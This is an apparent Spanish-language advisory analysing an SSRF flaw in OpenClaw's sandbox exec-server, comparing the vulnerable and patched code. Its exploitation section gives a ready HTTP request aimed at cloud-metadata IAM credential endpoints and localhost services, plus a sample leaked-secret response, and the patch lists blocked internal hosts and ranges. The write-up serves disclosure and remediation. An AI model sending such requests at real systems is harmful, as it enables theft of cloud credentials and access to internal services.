
Análisis en profundidad de CVE-2026-62201: Omisión de la política de red del sandbox exec-server de OpenClaw (SSRF). Causa raíz, código vulnerable frente al parcheado, explotación, detección y remediación.
Gravedad: Alta · CVSS: 7.7 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N) · CWE-918 (Server-Side Request Forgery)
| Campo | Valor |
|---|---|
| Aviso | GHSA-mgvr-6gvw-3rgr |
| NVD | CVE-2026-62201 |
| Producto | OpenClaw (paquete npm openclaw) — componente exec-server del sandbox |
| Afectado | openclaw < 2026.6.6 |
| Corregido | 2026.6.6 y posteriores |
| Causa raíz | Falta de validación SSRF en el helper HTTP integrado del exec-server (SANDBOX_HTTP_REQUEST_SCRIPT) |
| Commit de corrección | 21410d1c — "fix(codex): guard sandbox http requests" |
| Vector de ataque | HTTP POST al manejador http/request del exec-server con una URL controlada por el atacante |
| Impacto | Un llamador con privilegios bajos alcanza destinos de red internos (metadatos de la nube, IPs privadas, servicios de localhost) que la política de red de OpenClaw debería bloquear |
OpenClaw es una plataforma de agentes de IA cuyo exec-server del sandbox expone un helper de peticiones HTTP que los agentes usan para realizar llamadas web salientes. Las versiones anteriores a 2026.6.6 incluían ese helper sin protección SSRF: un llamador de menor confianza — cualquier agente, herramienta o ruta de entrada que la plataforma considere menos confiable que un operador de gateway — podía enviar una URL arbitraria y hacer que el exec-server la obtuviera desde dentro de la red del host.
Las comprobaciones de política de red que se aplican a la salida directa del sandbox no se aplicaban cuando las peticiones transitaban por la interfaz HTTP del exec-server. Esa inconsistencia es la vulnerabilidad: el exec-server actuaba como un proxy HTTP sin restricciones hacia la red interna.
Cuando OpenClaw ejecuta un agente Codex en un sandbox, inicia un exec-server local (extensions/codex/src/app-server/sandbox-exec-server.ts) que aloja métodos JSON-RPC sobre un transporte WebSocket/HTTP. Uno de esos métodos, http/request, permite al agente obtener URLs. La implementación canaliza la petición a través de un pequeño script Python integrado — SANDBOX_HTTP_REQUEST_SCRIPT — que realiza el trabajo real de urllib.
El manejador de peticiones se encuentra en extensions/codex/src/app-server/sandbox-exec-server/http.ts.
El helper Python recibía la URL y solo comprobaba el esquema:
# De [email protected] — SANDBOX_HTTP_REQUEST_SCRIPT (resumido)
def main():
input_data = json.load(sys.stdin)
url = str(input_data.get("url", ""))
parsed = urllib.parse.urlparse(url)
if parsed.scheme not in ("http", "https"):
raise ValueError("http/request only supports http and https URLs")
request = urllib.request.Request(url, ...)
with urllib.request.urlopen(request, timeout=timeout) as response:
handle_response(input_data, response)
Esa es toda la barrera. No había:
localhost, *.internal, metadata.google.internal …)http://169.254.169.254/ se seguía a ciegasResultado: {"method":"GET","url":"http://<host-interno>/"} devolvía el cuerpo de la respuesta interna al llamador. El exec-server era un proxy abierto hacia la red del host.
El commit 21410d1c añadió defensa en profundidad en ambas capas:
Capa 1 — Pre-comprobación en TypeScript (assertSandboxHttpRequestTargetAllowed en http.ts):
function assertSandboxHttpRequestTargetAllowed(url: string): void {
const parsed = new URL(url);
if (parsed.protocol !== "http:" && parsed.protocol !== "https:") {
throw new SsrFBlockedError(...);
}
if (isBlockedHostnameOrIp(parsed.hostname)) {
throw new SsrFBlockedError(...);
}
}
Capa 2 — Refuerzo del helper Python (assert_url_allowed en el script integrado):
localhost, localhost.localdomain, metadata.google.internal, más sufijos *.localhost, *.local, *.internal169.254.169.254, 100.100.100.200, fd00:ec2::254100.64.0.0/10, benchmarking 198.18.0.0/15, documentación 2001:db8::/32, y másipaddress: loopback, privada, link-local, multicast, reservada, sin especificarGuardedRedirectHandler: cada salto de redirección vuelve a ejecutar assert_url_allowed antes de seguirse::ffff:a.b.c.d), 6to4 (2002::/16), Teredo e ISATAP se desenvuelven y su IPv4 embebida se compruebadef assert_url_allowed(url):
parsed = urllib.parse.urlparse(url)
...
hostname = normalize_hostname(parsed.hostname)
if not hostname or is_blocked_hostname(hostname) or is_blocked_ip(hostname):
raise ValueError("Blocked hostname or private/internal/special-use IP address")
results = socket.getaddrinfo(hostname, parsed.port, proto=socket.IPPROTO_TCP)
addresses = {entry[4][0] for entry in results if entry[4]}
if not addresses or any(is_blocked_ip(address) for address in addresses):
raise ValueError("Blocked: resolves to private/internal/special-use IP address")
PINNED_ADDRESSES[hostname] = sorted(addresses)
2026.6.6 con el exec-server del sandbox habilitadohttp/request (la plataforma trata esto como acceso de privilegios bajos — p. ej. un plugin, una herramienta o una ruta de entrada, no un operador de gateway)Paso 1 — Enviar una petición dirigida a un servicio interno:
POST /exec/http HTTP/1.1
Host: <exec-server>:8300
Content-Type: application/json
{"method":"GET","url":"http://metadata.internal/latest/meta-data/iam/security-credentials/","headers":[]}
Paso 2 — Respuesta vulnerable (HTTP 200):
El exec-server obtenía la URL interna y devolvía el cuerpo al llamador — envuelto en base64 como bodyBase64:
{
"status": 200,
"headers": [{"name":"Content-Type","value":"application/json"}],
"bodyBase64": "eyJzZWNyZXQiOiJBS0lBX0ZBS0VfQVdTX1NFQ1JFVF9LRVlfMTIzNDUi...}"
}
Decodificado:
{
"secret": "...",
"instanceId": "...",
"region": "us-east-1",
"role": "admin-role"
}
Paso 3 — Respuesta corregida (HTTP 502):
{
"error": "ValueError: Blocked: resolves to private/internal/special-use IP address"
}
El destino interno es inalcanzable a través del exec-server en las versiones corregidas.
http://169.254.169.254/latest/meta-data/iam/security-credentials/ → credenciales IAMhttp://127.0.0.1:<puerto>/ para golpear interfaces de gestión no autenticadas co-ubicadas